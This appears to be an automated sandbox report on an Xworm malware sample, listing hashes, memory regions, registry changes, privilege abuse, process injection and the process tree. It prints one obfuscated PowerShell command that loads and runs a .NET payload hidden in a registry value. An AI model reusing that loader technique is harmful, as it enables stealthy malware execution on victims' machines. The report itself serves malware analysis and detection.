memory/956-81-0x0000023072400000-0x000002307242C000-memory.dmp
memory/956-75-0x0000023072400000-0x000002307242C000-memory.dmp
memory/668-69-0x00000150EAEC0000-0x00000150EAEEC000-memory.dmp
memory/668-63-0x00000150EAEC0000-0x00000150EAEEC000-memory.dmp
memory/608-59-0x00007FFC9D310000-0x00007FFC9D320000-memory.dmp
memory/608-58-0x0000020E07640000-0x0000020E0766C000-memory.dmp
memory/608-52-0x0000020E07640000-0x0000020E0766C000-memory.dmp
memory/608-51-0x0000020E07640000-0x0000020E0766C000-memory.dmp
memory/608-50-0x0000020E07610000-0x0000020E07636000-memory.dmp
memory/404-746-0x00007FFCBF2A0000-0x00007FFCBFD61000-memory.dmp
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
| MD5 | 1e8e2076314d54dd72e7ee09ff8a52ab |
| SHA1 | 5fd0a67671430f66237f483eef39ff599b892272 |
| SHA256 | 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f |
| SHA512 | 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
| MD5 | 0b990e24f1e839462c0ac35fef1d119e |
| SHA1 | 9e17905f8f68f9ce0a2024d57b537aa8b39c6708 |
| SHA256 | a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a |
| SHA512 | c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
| MD5 | ceb7caa4e9c4b8d760dbf7e9e5ca44c5 |
| SHA1 | a3879621f9493414d497ea6d70fbf17e283d5c08 |
| SHA256 | 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9 |
| SHA512 | 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
| MD5 | 7d612892b20e70250dbd00d0cdd4f09b |
| SHA1 | 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5 |
| SHA256 | 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02 |
| SHA512 | f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
| MD5 | f313c5b4f95605026428425586317353 |
| SHA1 | 06be66fa06e1cffc54459c38d3d258f46669d01a |
| SHA256 | 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b |
| SHA512 | b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890 |
memory/404-903-0x00007FFCBF2A0000-0x00007FFCBFD61000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\x4svchost.exe.log
| MD5 | 2ff39f6c7249774be85fd60a8f9a245e |
| SHA1 | 684ff36b31aedc1e587c8496c02722c6698c1c4e |
| SHA256 | e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced |
| SHA512 | 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1 |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-21 07:13
Reported
2024-06-21 07:16
Platform
win7-20240508-en
Max time kernel
150s
Max time network
16s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Modifies security service
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP | C:\Windows\System32\svchost.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection | C:\Windows\System32\svchost.exe | N/A |
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 2776 created 432 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | C:\Windows\system32\winlogon.exe |
Xworm
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\x4r.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2776 set thread context of 1716 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | C:\Windows\System32\dllhost.exe |
Enumerates physical storage devices
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 606c11a0aac3da01 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\x4r.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\dllhost.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\winlogon.exe
winlogon.exe
C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService
C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
C:\Windows\system32\taskhost.exe
"taskhost.exe"
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
C:\Windows\system32\sppsvc.exe
C:\Windows\system32\sppsvc.exe
C:\Users\Admin\AppData\Local\Temp\x4rr.exe
"C:\Users\Admin\AppData\Local\Temp\x4rr.exe"
C:\Users\Admin\AppData\Local\Temp\x4r.exe
"C:\Users\Admin\AppData\Local\Temp\x4r.exe"
C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
"C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe"
C:\Windows\system32\taskeng.exe
taskeng.exe {55BC65E2-8262-448A-AA4E-608BFDEFCF47} S-1-5-18:NT AUTHORITY\System:Service:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+'T'+'W'+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](120)+''+[Char](52)+'s'+'t'+'a'+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{c7bdd4c7-eeb4-4ce6-8ccc-ce232b549d66}
Network
Files
memory/1920-0-0x000007FEF55F3000-0x000007FEF55F4000-memory.dmp
memory/1920-1-0x0000000000DA0000-0x0000000000DD8000-memory.dmp
memory/1920-4-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\x4r.exe
| MD5 | 41ec20be55512c40a941c12cc99f054e |
| SHA1 | cd8c30618e560a3e54abb5ad1efc29d859aefe4e |
| SHA256 | f8f0cec95dda3ee23a359a9891c66908e36a8b91cfd6294358910761c211d4c3 |
| SHA512 | 4148f017e59a8995003eb1a3decf3a3f2ceb1e57d7040e1092704b16a69d4b61ce2e4d66fea9c33ab797ba47838b74b7de7206c5876f3d7bdddb2b8383ecc64b |
memory/2344-9-0x0000000000F40000-0x0000000000F56000-memory.dmp
memory/2344-14-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
| MD5 | 8a7bee2c8cec6ac50bc42fe03d3231e6 |
| SHA1 | ebc599a15f061a70f6b3ee74b9acfa4e3b4d299d |
| SHA256 | c8139f7fcde9c68cd331bcd438dfea7f02c463c6372dc477ab305da518483db8 |
| SHA512 | 34370b6f162cb752b1cb91d689705e6f0f247e02744bbbe85347d20cd89e02aba7c5e9e22bb63acc49b4fdc062de12ccf24f481a18c18d2094e1506bb143cad5 |
memory/1920-15-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp
memory/2776-16-0x0000000019F70000-0x000000001A252000-memory.dmp
memory/2776-17-0x0000000001270000-0x0000000001278000-memory.dmp
memory/2776-18-0x000000001A360000-0x000000001A38A000-memory.dmp
memory/2776-20-0x0000000076ED0000-0x0000000076FEF000-memory.dmp
memory/2776-19-0x00000000770F0000-0x0000000077299000-memory.dmp
memory/1716-21-0x0000000140000000-0x0000000140008000-memory.dmp
memory/1716-22-0x0000000140000000-0x0000000140008000-memory.dmp
memory/1716-23-0x0000000140000000-0x0000000140008000-memory.dmp
memory/1716-24-0x0000000140000000-0x0000000140008000-memory.dmp
memory/1716-26-0x0000000140000000-0x0000000140008000-memory.dmp
memory/1716-27-0x00000000770F0000-0x0000000077299000-memory.dmp
memory/1716-28-0x0000000076ED0000-0x0000000076FEF000-memory.dmp
memory/1716-29-0x0000000140000000-0x0000000140008000-memory.dmp
memory/432-32-0x00000000001F0000-0x0000000000216000-memory.dmp
memory/432-34-0x00000000001F0000-0x0000000000216000-memory.dmp
memory/432-35-0x0000000000BA0000-0x0000000000BCC000-memory.dmp
memory/432-36-0x0000000000BA0000-0x0000000000BCC000-memory.dmp
memory/432-42-0x0000000000BA0000-0x0000000000BCC000-memory.dmp
memory/432-43-0x000007FEBEC90000-0x000007FEBECA0000-memory.dmp
memory/432-44-0x0000000037130000-0x0000000037140000-memory.dmp
memory/476-50-0x0000000000130000-0x000000000015C000-memory.dmp
memory/476-56-0x0000000000130000-0x000000000015C000-memory.dmp
memory/476-57-0x000007FEBEC90000-0x000007FEBECA0000-memory.dmp
memory/476-58-0x0000000037130000-0x0000000037140000-memory.dmp
memory/492-64-0x0000000000180000-0x00000000001AC000-memory.dmp
memory/492-70-0x0000000000180000-0x00000000001AC000-memory.dmp
memory/492-71-0x000007FEBEC90000-0x000007FEBECA0000-memory.dmp
memory/492-72-0x0000000037130000-0x0000000037140000-memory.dmp
memory/500-78-0x0000000000250000-0x000000000027C000-memory.dmp
memory/2344-176-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp